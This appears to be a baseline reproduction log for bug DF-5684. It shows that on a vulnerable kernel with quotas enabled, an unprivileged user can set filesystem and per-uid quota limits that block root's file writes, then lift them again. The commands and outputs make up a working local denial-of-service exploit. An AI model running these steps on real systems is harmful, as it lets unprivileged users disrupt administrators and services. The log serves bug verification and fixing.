DF-5684 BASELINE (vulnerable kernel #0, vfs.quota_enabled=1)
--- as root, BEFORE:
$ echo before >> /root/df5684.txt && echo ROOT_WRITE_OK_BEFORE
ROOT_WRITE_OK_BEFORE

--- as uid 1001 maxx:
$ vquota limit / 1; echo "setlimit_rc=$?"
setlimit_rc=0
$ vquota show /
total: 0, limit = 1

--- as root, AFTER unpriv set the limit:
$ echo after >> /root/df5684.txt && echo ROOT_WRITE_OK_AFTER || echo ROOT_WRITE_BLOCKED_RC=$?
echo: write error on stdout
ROOT_WRITE_BLOCKED_RC=2

--- per-uid targeting, as maxx:
$ vquota ulim / root 1 && echo "maxx set uid-root limit=1 rc=$?"
maxx set uid-root limit=1 rc=0
--- as root:
$ echo rootwrite >> /root/df5684.txt ... && echo ROOT_APPEND_OK || echo ROOT_APPEND_BLOCKED
ROOT_APPEND_BLOCKED

--- attacker lifts it again (as maxx):
$ vquota ulim / root 0 && echo restored; vquota limit / 0
restored
--- as root:
$ echo ok >> /root/df5684.txt && echo ROOT_APPEND_OK_AFTER_RESTORE
ROOT_APPEND_OK_AFTER_RESTORE

(Note: dd conv=notrunc overwrite with delta=0 still succeeds by design —
 vq_write_ok only gates net size growth.)